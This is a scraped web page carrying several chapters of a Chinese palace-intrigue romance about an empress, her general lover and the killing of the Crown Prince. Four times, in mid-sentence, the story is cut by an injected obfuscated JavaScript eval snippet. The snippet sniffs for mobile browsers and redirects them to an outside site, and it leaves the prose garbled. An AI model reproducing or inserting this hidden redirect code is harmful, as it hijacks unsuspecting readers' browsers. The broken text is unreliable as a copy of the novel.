她这番话说的很有水平,宋闻薰方才的郁气淡了不少,她低头看向手里的奏折,付清衣昨日请旨要为几个无辜受难的渭城百姓建祠堂,柳芳歌窥她面色稍霁,又道:“依臣女看,付将军惋惜那些百姓,而那些百姓也确实为如今的太平作了贡献,建祠堂也未尝不可。” 宋闻薰沉静地看着奏折,忽而道:“这场洪灾,最初是为了拦截那个叛主的暗卫。” 素音立马跪下道:“主人放心,那人已经死于洪水。我等对暗卫进行了排查,确保他们都忠于陛下。” 宋闻薰抬手让她起来,眼睛却一直看着柳芳歌:“不忠者,朕有的是办法让他死无全尸。知道太多秘密的人,往往留不得。” 九月初,天气已不那么炎热了,然而柳芳歌顿感周身一阵发寒。在宋闻薰的注视中,她缓缓扯开一个僵硬的笑容:“是,暗卫能有今天,少不得陛下的栽培。背弃主上的东西,就应该死。” 宋闻薰淡淡看了她一会儿,转过头,在付清衣的奏折上提笔写下“允”。 她声音温和,仿佛只是随口一说:“那就不要私下与姜丞相联系了。” 柳芳歌背上顿时炸出一层汗,她腿一软,径直跪下了:“臣女……” 宋闻薰抬手止住她要说下去的话,和颜悦色地道:“我知晓你一片赤诚,只是下回当同朕说一声,可好?” “……是。” 浓绿的树影倒在池子里,一片模糊的冷光。宋闻薰手底下的奏折一封封少了,她也渐渐有些倦了,她简短地吩咐了几句,预备回殿中休息,恰在此时,一个小太监慌慌张张地跑了进来。 “太子妃逃了出来,说要求见陛下。” 宋闻薰的神色终于变了,她面具一样的笑容里裂开一个口子,有什么复杂的东西在面具下翻滚,她沉默片刻,说:“让她进来。” 柳芳歌恭敬地行礼告退,出去的时候,正好和进来的卡蓝错身而过。 太子妃一身白衣,白衣穿在她身上像一阵轻飘飘的雾,压不住她苍白的脸色。她是被一个侍女架着走进来的,因为凭她自己的力气,几乎已经站不稳了。 宋闻薰坐在凉亭里,示意侍女在离凉亭不远的地方停下。她亲切地看着卡蓝,柔声细语地问:“这是怎么了?怎么瘦了这么多?” 卡蓝呆呆地盯着她,大眼睛里空洞无神,在侍女的提醒下,她好像终于意识到眼前的人是天子,机械地跪下来。 “请陛下留太子殿下一条生路。” 她沙哑地开了口,嗓子像在砂砾上磨过。 宋闻薰微笑着看她:“你我很久没见了,只有这句话想说吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450118|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “请陛下留太子殿下一条生路。”卡蓝还是呆呆的样子,重复着这句话。 宋闻薰怅惘地注视了她一会儿,轻轻叹了口气,她站起身来,光泽细腻的明黄色袍子流淌在她脚下,随着她的移动熠熠生辉。 她径直走到卡蓝面前,蹲下来,扶起来她。 “你在害怕我吗?卡蓝?”她叹息般说。 卡蓝颤抖着抬起眼睛,仿佛到了此刻才找回一点神智,她眼睛里渗出泪花,死死地抓着宋闻薰的手,泣不成声。 宋闻薰默然不语,她咳嗽了一声示意架着卡蓝的侍女退下,自己则半弯下腰承担了扶着她的任务。她的臂弯是柔软温暖的,和她给人的感觉并不相符。 卡蓝的哽咽声在这个熟悉的怀抱里平缓下来,在她初来中原无所适从的时候,宋闻薰经常来看她,在许多个失眠的夜里,她也这样环抱着她,像她草原上的姐姐,那个温柔爱笑的、总会骑着马带她去悬崖边摘花的姐姐。 她来到中原后,中原人对她多有偏见,许多礼数做的不周到,常有人背后嚼舌根,说异族的女子都粗蛮不堪,配不上尊贵的太子。 只有两个人从不会这样说,还会呵斥那些背后嚼舌根的人,然后轻声细语地安慰她。 一个是太子,一个是宋闻薰。 这种温柔给了她一丝错觉,她瘫软在宋闻薰怀里,泪水大颗大颗地涌出,乞求道:“我想回家……陛下,你放了太子哥哥,我和他一起回草原好不好?我们不过来了,永远不过来了……” 宋闻薰沉默了。 卡蓝真是个天真的姑娘,到现在还在幻想着自己能回家,甚至幻想着太子能活下来。 多么不可思议的天真。这种天真需要很多很多的宠爱,她在突厥族中,一定是一颗千娇百养的明珠。 她从来不会沾染到血腥和权谋,她的父母爱她至深,就连被逼无奈让她远嫁中原,也要给她最豪华的嫁妆——只要卡蓝还活着,突厥一族永远对中原称臣上贡,秋毫无犯。 宋闻薰抚摸着她的头发,目光透过她哭泣的脸,看见了许多年前,那个在冷宫中哀嚎啼哭的小公主。 老鼠包围了她,她蜷缩在墙角,尖叫着驱赶那些恶心的生物,还是被咬得满腿都是伤。失心疯的弃妃披散着头发狞笑着靠近,她手脚并用地奔逃,抓住身边一切能抓住的东西往后扔,在黑暗中撕心裂肺地嚎哭:“救命——救命——” 没有人管她。 没有人管她。 唯一疼爱她的德妃,也只是在她出来时抱着她哭了一场,甚至逼着她向送她进冷宫的太子下跪道歉。 宋闻薰抚摸着她发丝的手用力了一点,卡蓝吃痛,闷哼一声,泪眼模糊地看向她。 树上的蝉陡然爆发出凄厉的叫喊,宋闻薰冰凉的手紧紧贴着卡蓝的脸颊,她说:“你当然会活下来,卡蓝。” 她紧紧盯着她,弯起来的笑眼冰冷地俯视卡蓝,像一条吐着信子的毒蛇:“放心,你的太子哥哥,会死得很好看。” “像他活着的时候那样好看。” 25. 君莫忘(2) 卡蓝再度被软禁起来,宋闻薰挑了一个惠风和畅的好天气,下了杀太子的旨意。 明面上肯定不能是她要杀的,宋闻薰在朝堂上痛心疾首地说了一大通,什么“本是同根生相煎何太急”,什么“同室操戈列祖无颜”,说得仿佛她和太子兄友妹恭,她十分割舍不下这份兄妹情,不忍心杀太子。说到动情处,她潸然泪下,天子都这么敬业地演了,群臣也很配合,纷纷掏出袖子抹泪,称颂圣上仁义。 站在前列的付清衣一边拿袖子遮脸,一边悄悄抬头,正好和宋闻薰的目光撞了个正着,宋闻薰在百忙之中抽出一眼瞪了他一下,付清衣干咳一声,努力皱起脸装出一副悲痛哽咽的模样,来掩饰自己笑得发抖的双肩。 宋闻薰:“……” 下了朝后,宋闻薰召来素音、柳芳歌与慕行止,她眼角泪珠未落,就已经简洁明了地下达了指令:“毒昏了太子,把他绑了扔去冷宫,多捉点老鼠去,朕要他活活被老鼠咬死。” 她说这句话的语气很轻松,就像在讨论今天的天气很好,应该出去散步一样。 慕行止与太子一党本就有血海深仇,闻言神色漠然,素音是从小就跟着宋闻薰做惯了脏活儿的暗卫首领,也没什么反应,唯独柳芳歌面色难看了一瞬,她知晓宋闻薰与太子是政敌,却不知晓宋闻薰恨到了这个地步,这样的手段,实在太过阴毒,她不免心底发寒。 宋闻薰折磨人的法子这么多,万一有一天她…… 宋闻薰的目光偏移到柳芳歌身上:“毒就交给慕太医,杀人的事情素音来,至于柳卿,朕要你对外宣称是太子畏罪自杀,一旦有人提出异议,以不尊皇室论处。” “行。” “遵命。” 慕行止和素音都干脆地答应了,他们同时扭头看向柳芳歌。 屋子里所有人的视线都集中在乍然发愣的她身上,意味不明。柳芳歌清醒过来,立刻道:“是。” 他们一个接一个地从殿门口离开,宋闻薰仰起头看着他们离开的背影,被刺眼的阳光照花了眼,她皱了眉,手指搭在眉骨上。立即有太监碎步跑来去关门,殿门一点点合上,宋闻薰的面容沉在半明半暗的光里,渐渐看不清晰了。 今天也是付清蓉开府的日子。 满府里张灯结彩,爆竹声噼里啪啦地响起,付清蓉拎着她擦得噌亮的红缨枪,水灵灵地站在院子门口,和来来往往上门恭贺的人寒暄,笑得脸僵。 比起这种场合,她还是更喜欢枕着石头与将士们畅快地喝酒吃肉。 一旁的王之敏还在捻着胡子和她打太极:“自古英雄出少年啊,一门双良将,想必付家将来必然比之你们父亲那时候更胜一筹啊。老夫真是怀念你父亲,付老将军年轻时,同你长得真像啊,说起来,当初与令父有些误会,一直到他去世都没说开,眼下见了你,更是悔不当初啊。” 开府的日子提死去的爹,王之敏真是寻得一手好晦气。 付清蓉皮笑肉不笑:“哦。真可惜,王大人要是没活这么久,说不定已经见到我爹和他说开了。” 王之敏面色一凝,他身边的两个王家小辈纷纷对付清蓉怒目而视。 站在一边一直耳听八方的付清衣立刻溜达过来,装模作样地给了她一拐子,然后朝王之敏笑道:“家妹年轻不懂事,说话有点直,对不住对不住,王大人不会和她计较的吧?” 王之敏捻着胡子的手暗暗用力,胡子都快被他捻断了。他挤出笑容道:“自然不会。付将军如今可是陛下眼前的红人。何况我们做长辈的,吃过的盐比你们吃过的米都多,哪里还会计较这些。” 付清蓉吃惊道:“王大人一把年纪了口味还这样重吗?重油盐的东西吃多了对身体不好,看不出您待我爹这么义气,竟这样想去见他。” 不等王之敏发作,付清衣立马又给了她轻飘飘的一拐子,呵斥道:“说什么呢,王大人年纪虽然大了,但是经常出入青楼,体格还是很健硕的。” 他们一唱一和,王之敏的脸彻底绿了。 不等他发怒,一边一个王家小辈就很有脸色地开口骂道:“付清蓉!陛下不过赐了个宅子,许了你个开府之权,有什么了不得的!我们王家上百年的高门氏族,天子都要敬三分,岂容尔等满口胡言!” 等他骂完,王之敏才拦住他,目光深沉:“不必如此激动,今日是高阳郡主开府的日子,这样,只要高阳郡主肯给老夫跪下道个歉,老夫便不追究了。” 付清蓉自小就是街头一霸,哪里会听这等威胁,她“唰”的一声将红缨枪往地上一杵,柳眉倒竖,狠狠盯着王之敏。 付清衣的脸色彻底冷下来,他装也不装了,傲然瞥了一眼王之敏,冷淡道:“王家?我妹妹万人之中取贼人项上人头时,不知王大人在做什么?陛下恩赐郡主面圣时不必下跪,王大人是觉得自己能越过陛下去吗?” 他这话戳中了王之敏痛处,新帝显然不喜世家,处处偏袒着将门,甚至给了付清蓉开府的权力,这样的礼遇,王家从未有人得到过。 王之敏咬牙切齿:“我倒要看看,帝王的一时荣宠能保你们猖狂多久!” “一世。”一个温和的女声轻飘飘地响起。 王之敏乍然回头,这一回头就是一惊,眼前人一身明黄锦衣,头戴八宝金龙钗,眉目舒展,容色明艳,目光沉冷令人不敢直视,不是天子是谁? 一瞬间,全场寂静,随即齐刷刷跪了一片。 宋闻薰没有看王之敏,她看着惊呆了下意识跪下的付清衣,唇边掠起一丝笑意:“怎么这么吃惊,朕来看看这儿。” 她说的是“朕来看看这儿”,可目光专注,眉眼带笑,更像是在说“朕来看看你”。 付清衣清咳一声,耳根子发红。以往宋闻薰出宫,都是微服私访,这是她第一次以天子的身份,在大庭广众下明晃晃彰显自己对付家的偏爱。 宋闻薰仗着没人敢抬头看她,目光明目张胆地在付清衣发红的耳朵根上停了片刻,付清衣感受到她视线,那抹淡红如水波扩开,让他整个人都红成了一只熟透的虾。 一旁的付清蓉:“……” 别人不知道,她最清楚了。天子这哪里是在撑腰,分明是在和他哥调情! 王家人灰溜溜地逃离了这里,这院子是宋闻薰一手承办,她对这儿的布局了如指掌。她简单吩咐了几句,假装自己回了宫,实际上带着付清衣七拐八拐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450119|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找了个人迹罕至的角落。 这是一处紫竹林,郁郁葱葱的竹林深处坐落了一方凉床,几个石凳,周遭以碧纱橱掩盖。清泉绕林而过,风吹得竹林沙沙作响,周遭静得落针可闻。燥热与喧嚣在这里渐渐远去,是绝佳的避暑地。 宋闻薰拉着他走进碧纱橱中,石几上早已经有人备好了冷香饮子,一看便知是她早早吩咐的。 付清衣打量着四周精巧的设置,情不自禁感叹道:“阿薰太厚待清蓉了,赐了高阳郡主之位不说,又赏了这样大的院子,原本的候府也比不上这里……我怕朝中有人非议你太偏爱付家。” 宋闻薰掀衣坐下,拿起桌上的砂糖冰水喝了一口,不甚在意:“谁非议就砍了谁。” 付清衣愣了愣,“噗哧”笑出了声,他捧住宋闻薰的脸颊,眼睛亮晶晶地看着她:“陛下要做圣明之主,不可当暴君。” 宋闻薰也愣了愣,看来付清衣是把她刚刚这话当成了说笑。她弯起眼睛,没有去纠正他,反而张开双臂,等付清衣主动环抱住她后,她轻笑着勾住他脖子道:“朕也想当明君,奈何美色误人。” 她紧紧贴着付清衣,闭着眼睛熟练地寻到了他的唇,在宋闻薰吻上来的一瞬间,付清衣已经从善如流地微微张了口,他们唇齿交缠了许久,分开时双方都有些气喘。 付清衣抱着她稳稳当当地放在了凉床上,宋闻薰一边仰面躺下,一边报复般笑着去捏他的脸,付清衣躲了两下,见她执着,主动把脸放在她手心里,任由她又捏又搓。 “好点了吗?”等宋闻薰松开手,付清衣脸上已经全是红印,他摸摸脸,不经意地问。 宋闻薰脸上的笑容僵了僵,过了一会儿复又笑开:“怎么突然这么问?” 付清衣低头看她,他目光明澈,里面倒映出她的脸。 “因为,你今天好像很不高兴。” 风拂过宋闻薰的碎发,她黑沉如墨的眸子错愕地瞪大了一瞬,脸上的笑容缓缓淡了。 她总以为自己掩藏得很好。但付清衣每每都能看出来。 安静了一会儿后,宋闻薰眼皮微阖,倦怠地说:“扳倒了太子,一时无事可做,有些无聊罢了。不是什么大事。” 付清衣一听就笑了:“那你来找我算是找对了。” 还不等宋闻薰反应,付清衣就已经干脆地拉上了她的手:“城北有一片林子围作了猎场,我带你去玩。” 骑在马上,感受迎面而来的呼啸风声时,宋闻薰看见不远处搭弓射箭的付清衣,青年将军姿态娴熟地自马背上拉开了重弓,箭射出去的刹那,他回过头朝着她笑起来,好看的眉眼弯成了盈盈流月。 不远处的鹿应声倒地,树叶里漏下的阳光恰好落在付清衣的发梢上,他满身金粉,漂亮得耀眼。 宋闻薰纷乱的心奇迹般平静下来,她也笑看他,抚掌:“将军好箭法。” 付清衣眨了眨眼睛,故意捏着嗓子拖腔拿调模仿那些老臣:“谢陛下——” 他们停顿一下,一齐大笑起来,宋闻薰笑得伏在马上,树林中的飞鸟被惊到,扑簌簌飞起来,直冲云霄。 宋闻薰笑着笑着突然开始有些恍惚,她很久没有这样笑过了。 26. 君莫忘(3) 宋闻薰对自己的认知很清晰,虽然身边人总会奉承她英明仁德,但她对这种华而不实的夸赞嗤之以鼻。 她几乎完全不掩饰自己对付家的偏心。 世家近期总喜欢弹劾付清衣和付清蓉,弹劾的理由千奇百怪。 付清衣不敬皇上。 付清蓉不尊礼教。 付清衣醉酒闹事,侵害平民。 ………… 宋闻薰批奏折的时候干脆拉来他们二人,一件一件问。 “不敬朕是指?” 付清衣叹气:“我行礼的时候抬头和你眉来眼去。” “不尊礼教又是什么?” 付清蓉无辜地眨巴眼睛:“世家有一个祭奠祖先的节日,他们邀请了我,我不懂规矩,一不小心吃了祭祖的肉。” 宋闻薰简直对这些御史的想象力叹为观止:“醉酒闹事侵害平民又是什么?” 付清衣咳嗽了两声,声音弱弱的:“贪杯多喝了几口烧刀子,有点醉了,把卖鸡蛋的张婶养的最会下蛋的老母鸡放出来了,母鸡跑了,张婶拿菜刀追了我两里路。” 宋闻薰:“…………” 她听沉默了,干脆大笔一挥,弹劾的折子全部驳回。 这些日子付家被架在火上烤,世家也没有好过到哪儿去。宋闻薰命翰林院重修了氏族谱作为孩童开蒙的读物,原本凌驾皇族之上的王桓谢柳四大家族被排到了宋氏之后,许多近几年崛起的新贵与他们并肩,还不等四大家族提出意见,宋闻薰又火速下达了一道圣旨。 这道旨意名为“军恩令”,原本世家的爵位都是嫡子继承,这道旨意一颁,无论嫡庶,要想继承爵位,就要立下军功,倘若嫡子未立军功而庶子立下,那么爵位由庶子继承,倘若无人立下军功,那么则视为自动放弃爵位。 这道旨意一下,顿时将世家的势力分成了两股,各家主与他们的嫡子眼见着到手的鸭子就要飞了,自然纠集了一帮言官日日吵闹不休,而一部分本就不受宠爱的庶子却悄悄来投靠了宋闻薰,在天子的赞许下启程去边疆为自己博前途。如此一来,氏族子弟们个个都不愿意被他人捞了好处,争前恐后要去边疆立功。 付清衣找到宋闻薰的时候,她正与柳芳歌就这个旨意的落实工作讨论得热烈。 门外传来通报:“付将军求见陛下——” 宋闻薰微微皱着的眉便松开了,语气也温柔不少:“让他进来。” 付清衣缓步进来,因为有柳芳歌在,他规规矩矩地给宋闻薰行了礼,又对柳芳歌颔首道:“柳姑娘也在。” 柳芳歌弯腰恭敬地行礼,脸上笑意浓厚,像贴上去的窗花,客气又失真,付清衣额外多看了她几眼,他本能地不喜欢柳芳歌,但又觉得对方礼数规整,态度柔和,自己的敌意来得莫名其妙,于是怀着歉意也回了礼。 在他扭头看向宋闻薰后,柳芳歌脸上的笑意淡了,她给他让开一条路,眼睛规矩地垂下。 付清衣没太注意这些细节,他今日来有更重要的事情:“陛下最近在推行军恩令?” 宋闻薰料到他要说这个,也不惊讶:“是。” 付清衣仰头与她的眼睛对视,直言不讳:“世家子弟中虽偶有佼佼者,但大都是酒囊饭袋,把这帮垃圾塞进军营,只怕会增加管理的难度。他们也不会真正拼军功,而是会拿着权势与金钱贿赂欺压他人,夺取普通士兵的军功。长此以往,军纪不严,赏罚不明,还请陛下三思。” 付清衣考虑的角度很中肯,他是站在将领的角度考虑的。 宋闻薰安静认真地听完了他的话,没有说什么,目光移向了柳芳歌,柳芳歌接收到她的暗示,目光一闪,朝付清衣从容开口:“其实哪里用这么复杂呢。” 付清衣疑惑地看过来,柳芳歌嫣然一笑:“这些酒囊饭袋留着也无用,倒不如让他们为国捐躯。” 付清衣瞳孔一震:“姑娘的意思是……” 柳芳歌声音柔婉:“战场上刀枪无眼,死几个人再寻常不过,暗地里结果了他们,也能推说是敌军所为,将军知道该怎么做。” 付清衣面色一下子苍白起来,良久没有说话。 殿中一下子安静了起来,柳芳歌不熟悉付清衣,停了口,默默望向了宋闻薰,却发现宋闻薰紧紧盯着付清衣,她一反常态地褪去了笑意,那双黑沉如墨的眼睛里,有一闪而过的慌乱与担忧。 寂静如一摊死水漫开,唯有付清衣微重的呼吸声清晰响起。 柳芳歌意识到氛围不对,她不假思索,忙弯腰行礼告辞。 脚步声渐远后,只剩了付清衣与宋闻薰沉默相对。 半晌,还是付清衣主动打破了寂静,他嗓音微哑:“陛下打算采纳柳姑娘的做法吗?” 宋闻薰看着他的脸色,罕见地迟疑了片刻,对这件事避而不谈,她笑道:“你尝尝我杯子里的雨前龙井,我命人加了点桂花,别有一番风味。” 付清衣这一次却没有再陪着她装糊涂,他退后一步,异常安静地看着她,金黄的冠冕垂下繁复的流苏,只露出她平直的唇线,他看不清她的眼睛,只看见她龙袍上绣着的五彩飞龙,张牙舞爪,怒目圆睁。 他声音发颤,一字一句,艰难地说:“陛下,我要在战场上杀死同僚,是吗?” 定国公戎马一生,平定西北,战功赫赫,却死于自己人的暗箭。 他的母亲因此忧思过度,积劳成疾,不久后也撒手人寰。 “伴君如伴虎,为人臣者,功高……不可震主……” 昔日母亲临死前拼了命也要说给他听的话,在今日于他耳侧回荡不休。 而那支射中他父亲的箭,穿过重重的时光,在今日被放在了他手里,高堂上的君主握着他的手,劝他拉开这张弓。 宋闻薰不明白他反应何以如此大,她目光颤动了一下,垂下眼,握着杯子的手缓缓收拢了,好一阵子她才找回自己的声音:“清衣,这是必要的牺牲,你知道如今世家的权势有多大,何况你与他们早就……” 付清衣斩钉截铁地打断她:“我不会做!” 宋闻薰怔在原地。 她的目光幽深了一瞬间,那是皇帝被驳了面子后下意识的不悦,但发觉他状态不对,又很快软和下来,她站起身走向他,在他身前一步停下,温柔地询问道:“怎么了?” 付清衣定定看着她担忧的眼睛,好像才认出她一样,片刻后,他的呼吸终于平静下来。 “对不起,阿薰。”他轻轻呼出一口浊气,像是要把积尘许久的情绪吐出来,“但恕我无法答应。” 他的目光恳切而澄澈,带着隐约的哀伤:“上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450120|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了战场,无论出身,皆是手足同袍,我不能,也不该在大敌当前的时候,把刀尖对准自己人。” 宋闻薰呼吸顿了顿。 付清衣极少如此坚决地拒绝她,没有任何可以商量的余地。 付清衣受父母疼爱教诲,不负众望地长成了一株修竹,光风霁月,君子坦荡。 这是他的底线。 真是和她截然相反的一个人。 宋闻薰垂下眼睛,竭力让自己露出一个温和的笑容,就像她表现出来的那样:“好吧,朕依你。” 她说完这句话就没再说什么,旋身走向高高的龙椅,付清衣看着她面无表情的侧脸,心脏停跳了一拍,下意识抓住了她的袍袖:“阿薰……” 宋闻薰霍然扭头,目光落在他收紧的手指上,然后缓慢地逡巡到他恳切的面容中。在她的注视下,付清衣缓慢地松开了手,那截袖子垂落下去,无可挽回地垂落下去。 他嗓音微哑:“臣冒犯了。” 宋闻薰没有回应他,她似乎累极了,倚靠在椅子上时,眼帘半阖着,毛笔被她捻起来随手搁在架子上,以示自己要歇息了,这是十足的赶客姿态。 付清衣无所适从地站在原地,他第一次遇见这样的宋闻薰,冷漠,疲倦,高高在上。 他浓密的眼睫激烈地颤动着,仰头定定看着她,宋闻薰却避开了他的眼神。 付清衣并不因为她的冷待而离开,他执著地站在原地,分毫未动,像扎根在了这里,目光认真且伤心。 他轻声说:“阿薰,我们不该这样的。” 宋闻薰终于重新把目光放回他身上,她的神情忽然变得格外冷静,冷静得可怕:“我们本来就该是这样。” 她道:“我和你不一样,我从来不是什么良善之辈,是我的错,我不该让你去做这些……肮脏的事。” 付清衣怔了一下,道:“我没有怪你,我知道……” 宋闻薰打断他,她语速很快:“你什么都不知道。是我糊涂了,我以后不会在你面前提这些事,你毕竟……与我不同。” 说到最后,她的声音里有极淡的叹息:“清衣,不要怪我心狠。” 这句话连带着那声叹息,插进付清衣心脏里,把他一颗柔软的心搅得生疼,他见证过她狼狈的过去,知晓她一路走来的不易,她做这些事都是情非得已,他怎么会怪她呢?他急迫地跑上前去,一时间顾不上君臣礼节,半跪在地上紧紧攥着她冰凉的手,像在徒劳地试图温暖她:“我……” 话没说完,一股力突然捏着他的下巴抬了起来,付清衣惊愕地睁大了眼睛,宋闻薰咬住了他的唇,血腥味弥漫开来,她灵活地挑逗他的舌尖,激得他浑身战栗,双腿发软,可这不是一个亲吻,是啃咬,是单方面的掠夺和吞噬。 宋闻薰黑沉的眸子里,亮起一线锋利的光,付清衣被亲得整个人软了下去,深入骨髓的情欲记忆让他身体异常的敏感,他本能地想要逃离,但最终克制住了自己,他伏在她的膝上,以献祭的姿态毫不反抗地接受她的侵略。 宋闻薰抱着他温热的身体,抚摸他流畅的肩胛与光滑细腻的肌理,那些埋藏在她心底的不安与惶恐在拥有他的这一刻被一只手轻柔地抚平,她微笑起来,在心底轻轻地念。 “不要怪我,是你自己,靠近我的。” 27. 无故人(4) 付贵君再一次发烧了。 满宫一时间全部忙了起来,宫人偶尔也会悄悄议论,这付贵君是武将出身,战功赫赫,怎么入了宫后,身子一日不如一日了。 西域雪莲、血燕窝、百年老参……各种价值连城的补品源源不断地送进贵君宫里,苦药汤的气味终日萦绕在屋内,付清衣倚靠在床榻上,他消减了许多,眉眼低垂,容色苍白,翠色披风盖在身上也没有重量,像一阵秋末的风。 除去上朝,宋闻薰几乎日日在屋内陪着他,连喂药这样的小事她都亲力亲为,他病情急转而下的那天,她干脆把奏折都搬过来批,但两人之间几乎没有交流,宋闻薰偶尔会在批改奏折的间隙里抬头看他,那人一动不动地坐着,肤色透着病态的苍白,脆若琉璃,静如死水。 付清衣什么也没有了,亲人,官职,自由,袍泽。 宋闻薰低下头去,等她反应过来,笔尖的墨已经洇开,雪白的宣纸上,赫然长出一朵污秽的花。 等到大雪覆残枝的时候,付清衣的病终于好了。 宋闻薰留在他宫中的借口没有了,她屏退了其他人,独自在付清衣床侧立了一会儿,付清衣抬眼看她,目光无波无澜:“陛下可有要事?” 宋闻薰在他冷淡的目光里沉默下来,她望向窗外,雪更厚了,宫人早已经离开,整座宫殿空空荡荡,能听见碎玉般的落雪折枝声。 付清衣再度问:“陛下有何要事?” 他长睫微垂,注视着自己的双手,这双提过长枪,杀过贼人的双手,如今攥着被子,病骨支离。他身上环绕的药气已经淡了许多,唯有脸色仍然苍白如纸。一场大病让他更加消瘦,轮廓愈发锋利,也因此看起来愈发冷峻而疲倦。 朗声大笑的付清衣,肆意纵马的付清衣,以一敌百、锋锐无匹的付清衣,在眼前这个枯槁的贵君身上,已经很难窥见曾经意气风发的影子。 宋闻薰在这一刻感受到了陌生。 看吧,她在这一瞬间品出了一点残忍的快意,人都是会变的。 怯弱者长出爪牙,翱翔者折断翅膀,等闲最容易变的就是故人心,他们的命运太轻,经不起一场冬雪的催压。 他们都不再是当初的青稚少年。他凭什么责怪她变了? 短暂的快意后,更大的空洞与悲哀潮水般涌上来。 她不想要付清衣改变,一点儿都不想要。在她残存的年少真心里,她曾经如此羡慕付清衣的光风霁月,又如此渴望他的潇洒肆意。好像透过他,看见了宫墙之外一片广袤干净的天地。 但她亲手毁了他。 毁了自己从前最爱慕也最艳羡的那个人。 好一阵子,她道:“你若想出去走走,我不会拦你。” 付清衣平静地看她,忽然笑了笑,流露出一点儿讽意:“我能走去哪里?” 宋闻薰偏过头,目光望向窗前的雪:“宫墙之内,你来去自由。” “哈。”付清衣笑得咳嗽起来,白纸般的脸色咳出一点病态的红,“宫墙之内,陛下无处不在。” 宋闻薰猛转身盯着他,额头上青筋一跳,付清衣不闪不避地回视她,两厢无言。 窗外的残枝不堪重负,“咔嚓”断裂,宋闻薰再也无法忍受这样的沉默,拂袖而去。 殿门开了,候在外面的内侍碎步跑来为她撑伞,却被宋闻薰屏退。 她独自走在红瓦之间,斗蓬上很快积了一层薄雪,有碎雪落在她眉间,化了,蜿蜒出一道冷痕,宋闻薰不闻不问,只是向前走。 她走后,在宫殿门口守着的乌泱泱一大帮宫人也离开了,偌大的宫殿一瞬间冷清下来,付清衣拢着袖子,沉默安静地靠在窗边,看着那人独自离开的背影。 冬雪积下厚厚一层的时候,付清衣终于踏出了宫门。 尽管他表示自己并不需要如此精细的呵护,内侍们还是秉承了皇上的旨意,里三层外三层把他裹严实了。 现在的付清衣是宫里的重点保护对象,服侍的人稍有不慎就会被罚,内侍们不愿冒着风险抗旨,付清衣能理解,故没有为难他们,顺从地穿上了厚厚的墨狐皮大裘,手中还被人塞了个汤婆子。 这件大裘的皮子是他从前在边疆秋狩到的猎物,特地千里迢迢寄给宋闻薰的,如今被宋闻薰重送回了他手中。 她保存得很好,面料光滑油亮,像上好的绸缎,又熏烤过,带着若有若无的轻柔香气,他闻得出来,那是上好的龙涎香味道,她常用的味道。 宫里的裁缝细细裁剪过,这件大裘很合身,付清衣穿在身上,却觉得前所未有的沉重。 他在内侍的包围下走了出去。 冬天的宫城洗去了繁华,带着种冷冽的萧索,付清衣偶尔踩到枯枝败叶,发出“沙沙”的声音,身后的一大圈内侍沉默不语地跟在他身后,他们都是宋闻薰的眼睛。 这样走了几分钟,付清衣忽然觉得窒闷。 他道:“你们退下吧,我一个人走走。” 领头的内侍为难道:“陛下吩咐了奴才要照顾好贵君,若贵君出了什么闪失,岂不是奴才的罪过。” 付清衣温和但不容拒绝地道:“若她因我而牵连到你们,我会替你们担责。“ 内侍叹气:“陛下待您不一般,可奴才们就……” 付清衣淡淡道:“她不会。重罚了你们,我会生气。” 宋闻薰破例许他一部分的自由,就是想让他态度软化,为了这种小事让他愈发冷淡,得不偿失。 她是一个合格的政客,从不会做得不偿失的事情。 说出这话的瞬间,付清衣意识到了自己的可笑。 他了解她,现在也学会了利用对她的了解给自己争取一点喘息的空间。 能在他身边伺候的都是宋闻薰挑选出来的人精,话已经说到这个份上,内侍不再纠缠,一挥手,乌泱泱的一大帮人就悄无声息地离开了。 周遭变得更加安静,只剩下了他,和他身上那件墨狐皮的裘衣。 内侍走之前不放心,把伞给了他,千叮咛万嘱咐让他早点回宫,如果迟归了陛下会把底下人全部大卸八块的,说完还做了个抹脖子的动作。 这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450121|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 